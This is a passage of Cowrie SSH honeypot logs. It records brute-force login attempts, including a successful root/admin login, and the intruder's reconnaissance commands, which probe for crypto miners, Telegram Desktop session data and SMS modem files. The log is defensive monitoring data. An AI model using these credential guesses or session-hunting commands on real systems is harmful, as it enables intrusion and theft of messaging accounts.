{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:56.519759Z","src_ip":"45.153.34.97","session":"75cafff502b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":13196,"dst_ip":"10.17.0.5","dst_port":22,"session":"65d59056475b","protocol":"ssh","message":"New connection: 45.153.34.97:13196 (10.17.0.5:22) [session: 65d59056475b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:58.272464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:58.285245Z","src_ip":"45.153.34.97","session":"65d59056475b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:58.375359Z","src_ip":"45.153.34.97","session":"65d59056475b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:58.781483Z","src_ip":"45.153.34.97","session":"65d59056475b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:59.887545Z","src_ip":"45.153.34.97","session":"65d59056475b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.179.237.141","src_port":33224,"dst_ip":"159.203.135.109","dst_port":22,"session":"e42e217d01b2","protocol":"ssh","message":"New connection: 174.179.237.141:33224 (159.203.135.109:22) [session: e42e217d01b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:00.036953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:00.044294Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:00.093014Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":59746,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bd013242987","protocol":"ssh","message":"New connection: 43.130.38.88:59746 (159.203.135.109:22) [session: 0bd013242987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:00.737797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:00.743227Z","src_ip":"43.130.38.88","session":"0bd013242987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:00.813399Z","src_ip":"43.130.38.88","session":"0bd013242987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:00.837853Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2!@","message":"login attempt [root/1qazxsw2!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:01.125928Z","src_ip":"43.130.38.88","session":"0bd013242987","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:01.876880Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.004771Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.010240Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.014184Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.053818Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.175374Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.178922Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.221313Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.264839Z","src_ip":"43.130.38.88","session":"0bd013242987","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.357294Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.361066Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.398007Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.521987Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.525689Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.568603Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.716286Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.721942Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":21454,"dst_ip":"10.17.0.5","dst_port":22,"session":"86c5213f2568","protocol":"ssh","message":"New connection: 45.153.34.97:21454 (10.17.0.5:22) [session: 86c5213f2568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.739636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.749737Z","src_ip":"45.153.34.97","session":"86c5213f2568","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.769046Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.886919Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.890879Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.907460Z","src_ip":"45.153.34.97","session":"86c5213f2568","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:02.932472Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:03.061485Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:03.064892Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:03.108958Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:03.269461Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:03.273743Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:03.382077Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:03.618249Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:03.622108Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:03.661003Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zookeeper","password":"p@ssw0rd","message":"login attempt [zookeeper/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:03.715852Z","src_ip":"45.153.34.97","session":"86c5213f2568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:04.816718Z","src_ip":"45.153.34.97","session":"86c5213f2568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":21456,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4648fef9fac","protocol":"ssh","message":"New connection: 45.153.34.97:21456 (10.17.0.5:22) [session: c4648fef9fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:07.007642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:07.012790Z","src_ip":"45.153.34.97","session":"c4648fef9fac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-